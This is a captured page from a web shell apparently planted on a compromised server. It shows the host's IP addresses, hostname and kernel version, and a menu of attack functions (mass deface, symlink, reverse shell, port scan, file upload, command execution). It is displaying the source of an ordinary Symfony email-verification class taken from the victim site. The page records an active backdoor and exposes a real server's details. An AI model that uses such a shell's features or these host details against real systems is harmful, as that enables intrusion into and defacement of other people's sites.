ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: EmailVerifier.php.tar
home/logercm/dev.loger.cm/src/Security/EmailVerifier.php 0000644 00000003750 15120222744 0017245 0 ustar 00 <?php namespace App\Security; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Mailer\MailerInterface; use Symfony\Component\Security\Core\User\UserInterface; use SymfonyCasts\Bundle\VerifyEmail\Exception\VerifyEmailExceptionInterface; use SymfonyCasts\Bundle\VerifyEmail\VerifyEmailHelperInterface; class EmailVerifier { private $verifyEmailHelper; private $mailer; private $entityManager; public function __construct(VerifyEmailHelperInterface $helper, MailerInterface $mailer, EntityManagerInterface $manager) { $this->verifyEmailHelper = $helper; $this->mailer = $mailer; $this->entityManager = $manager; } public function sendEmailConfirmation(string $verifyEmailRouteName, UserInterface $user, TemplatedEmail $email): void { $signatureComponents = $this->verifyEmailHelper->generateSignature( $verifyEmailRouteName, $user->getId(), $user->getEmail() ); $context = $email->getContext(); $context['user'] = $user; $context['signedUrl'] = $signatureComponents->getSignedUrl(); $context['expiresAtMessageKey'] = $signatureComponents->getExpirationMessageKey(); $context['expiresAtMessageData'] = $signatureComponents->getExpirationMessageData(); $email->context($context); $this->mailer->send($email); } /** * @throws VerifyEmailExceptionInterface */ public function handleEmailConfirmation(Request $request, UserInterface $user): void { $uri=str_replace("&user=".$user->getId(),"",$request->getUri()); $this->verifyEmailHelper->validateEmailConfirmation($uri, $user->getId(), $user->getEmail()); $user->setIsVerified(true); $user->setActive(true); $user->setEnabled(true); $this->entityManager->persist($user); $this->entityManager->flush(); } }
Coded With 💗 by
0x6ick